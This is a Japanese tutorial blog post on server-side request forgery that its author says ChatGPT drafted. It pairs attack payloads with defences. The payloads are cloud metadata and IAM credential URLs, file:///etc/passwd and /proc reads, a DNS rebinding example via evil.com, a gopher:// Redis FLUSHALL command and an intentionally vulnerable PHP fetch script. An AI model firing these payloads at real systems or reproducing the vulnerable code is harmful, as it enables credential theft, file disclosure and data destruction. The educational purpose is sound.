🔓 SSRF（Server-Side Request Forgery）の攻撃手法まとめ【入門〜応用】

こんにちは、今回は Webアプリケーションにおける深刻な脆弱性「SSRF（Server-Side Request Forgery）」について、**基本から応用的な攻撃手法、PoC、対策まで**ChatGPTに幅広くまとめてもらって「この一連の流れを技術ブログとしてqiitaに投稿したいので原稿書いて」として原稿も書かせてみました。

## 💡 SSRFとは？

**SSRF（Server-Side Request Forgery）** は、攻撃者がサーバーに対して意図しないリクエストを送信させる脆弱性です。

### 🔁 通常の通信フロー
```
[ユーザー] → [Webサーバー] → [外部リソース]
```

### 🔥 SSRFがあると…
```
[攻撃者] → [Webサーバー]
                    ↓
              内部API / ローカルファイル / クラウドメタデータ などにアクセス
```

---

## 🎯 SSRFでできる攻撃一覧

### ① 内部サービススキャン
```text
http://target.com/fetch?url=http://127.0.0.1:8000
http://target.com/fetch?url=http://10.0.0.5:8080
```

### ② AWSなどのクラウドメタデータアクセス
```text
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance
```

---

## 🛡️ モダンなクラウド環境におけるSSRF対策（IMDSv2など）

最近のクラウドサービスでは、SSRFによる **メタデータ情報の窃取** への対策が導入されています。以下に主要クラウドの現状をまとめます。

---

### 🔒 AWS: IMDSv2 の導入

#### 従来（IMDSv1）の仕様：
- `http://169.254.169.254/latest/meta-data/` にそのままGETアクセスで情報取得可能
- SSRFで簡単にIAMロールのクレデンシャルを盗めた

#### 現在（IMDSv2）：
- **一時的なTokenの取得** → Token付きでメタデータ取得
- Tokenがないリクエストは拒否される
- `PUT` メソッドで Token を取得し、 `X-aws-ec2-metadata-token` ヘッダーが必須

#### 例：

```bash
# トークン取得
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# メタデータ取得（トークン必須）
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/
```

#### 対策まとめ：

| 対策項目 | 内容 |
|----------|------|
| IMDSv2を強制 | インスタンスメタデータサービスのバージョン制限 |
| メタデータサービスの無効化 | 必要ない場合は完全にオフにできる |
| IAMロールの最小権限化 | stolen credential でも最小被害に留める |

---

### ☁️ GCP: Metadata-Flavor: Google ヘッダーによる制御

#### メタデータエンドポイント：
```
http://metadata.google.internal/computeMetadata/v1/
```

#### 対策：
GCPでは `Metadata-Flavor: Google` ヘッダーが **必須**。

```bash
curl "http://metadata.google.internal/computeMetadata/v1/instance/id" \
  -H "Metadata-Flavor: Google"
```

#### 対策ポイント：

| 対策 | 内容 |
|------|------|
| 強制ヘッダー | SSRFでこのヘッダーを付けるのは難しい |
| ロール権限制御 | 最小権限のサービスアカウントが推奨 |

---

### ☁️ Azure: Metadata=true クエリパラメータの使用

#### エンドポイント：
```
http://169.254.169.254/metadata/instance?api-version=2021-02-01
```

#### ヘッダー：
```
Metadata: true
```

#### 対策：
Azureでは、上記ヘッダーが **ないとエラー**になります。

```bash
curl "http://169.254.169.254/metadata/instance?api-version=2021-02-01" \
  -H "Metadata: true"
```

---

## 🔍 攻撃者から見た今のクラウド状況

| クラウド | 旧脆弱性 | 現在の保護 | SSRFでの難易度 |
|----------|----------|-------------|----------------|
| AWS      | GETでクレデンシャル取得可（IMDSv1） | IMDSv2トークン必須 | 難しい（gopher://でPUTは難しい） |
| GCP      | ヘッダー強制（Metadata-Flavor） | SSRFで付与不可 | 難しい |
| Azure    | Metadata: true 必須 | SSRFでヘッダー付与困難 | 難しい |



### ③ ファイル読み取り（file://スキーム）
```text
file:///etc/passwd
file:///proc/self/cwd/index.php
file:///proc/self/environ
```

### ④ `/proc/`を使ったテクニック

| パス | 内容 |
|------|------|
| `/proc/self/cwd/index.php` | 現在のPHPスクリプトのソースコード取得 |
| `/proc/self/environ` | 環境変数（User-AgentなどからWebShell注入） |
| `/proc/self/status` | 実行中のUIDやメモリなど |
| `/proc/net/fib_trie` | 内部ネットワーク情報 |
| `/proc/self/fd/0` | オープン中ファイルの参照 |

---

## 📡 応用テクニック

### ✅ DNSリバウンド攻撃（DNS Rebinding）

```
http://evil.com → 127.0.0.1 に名前解決を切り替え
```

→ 外部に見せかけて、内部にアクセスさせる

---

### ✅ gopher:// スキームを使った任意コマンド注入

例：Redisに直接コマンドを送信

```
gopher://127.0.0.1:6379/_FLUSHALL
```

---

### ✅ SSRF → RCE（最終的なリモートコード実行）

内部で動いている管理画面・Webhookなどにアクセスできる場合：

- Jenkins
- GitLabのWebhook
- 内部APIがCSRF対策なし
- SSRF経由でコード注入できるサービス（Redis、MongoDBなど）

---

## 🧪 実際のPoC例（PHP）

```php
<?php
if (isset($_GET['url'])) {
    $url = $_GET['url'];
    $data = file_get_contents($url); // ← SSRFの元凶
    echo htmlspecialchars($data);
}
?>
```

攻撃例：

```
http://target.com/vuln.php?url=file:///proc/self/cwd/index.php
http://target.com/vuln.php?url=http://169.254.169.254/latest/meta-data/
```

---

## 🔐 対策まとめ

| 対策 | 内容 |
|------|------|
| スキーム制限 | `http`, `https` 以外を禁止（file://, gopher://, ftp://などブロック） |
| ホスト/IPフィルタ | `localhost`, `127.0.0.1`, `169.254.x.x`, `10.x.x.x` などへのアクセスを拒否 |
| ホワイトリスト | 許可された外部ドメインのみ通信可能にする |
| `open_basedir` | `file://` を使ったファイル読み取りを制限 |
| IMDSv2の利用（AWS） | EC2メタデータへの安全なアクセスを強制（token化） |
| URL検証 | `parse_url()` + `filter_var()` でスキーム・ホストチェック |



---


## 📝 まとめ

- SSRFは単なる情報取得にとどまらず、**クラウド乗っ取り・コード実行・横展開**の起点になり得る
- 以前は「SSRF＝クラウド乗っ取り」になりがちだったが、**IMDSv2・強制ヘッダー化などによりハードルが大きく上がった**
- ただし、**古いクラウド設定や内部HTTPプロキシ経由でのバイパス**などはまだ存在する
- 特に **`file:///proc/` を活用した手法** や **DNSリバウンド**、**gopher://** は応用範囲が広く、WAFやネットワーク制御をバイパスできることもある
- 想定外の通信を許さないように、**スキーム、IP、ドメインを厳格に制限する**のが重要
- 防御側は「**SSRFそのものを発生させない**」設計が最重要

---

## 🔗 参考資料

- [SSRF Explained - PortSwigger](https://portswigger.net/web-security/ssrf)
- [AWS IMDSv2 Security](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)
- [Google Cloud Metadata API](https://cloud.google.com/compute/docs/storing-retrieving-metadata)

---

## 🧠 ご意見歓迎！

「ここが分かりづらい」「この攻撃例も紹介してほしい」などあれば、ぜひコメントで教えてください！  
記事が参考になったら LGTM いただけると励みになります 💚

```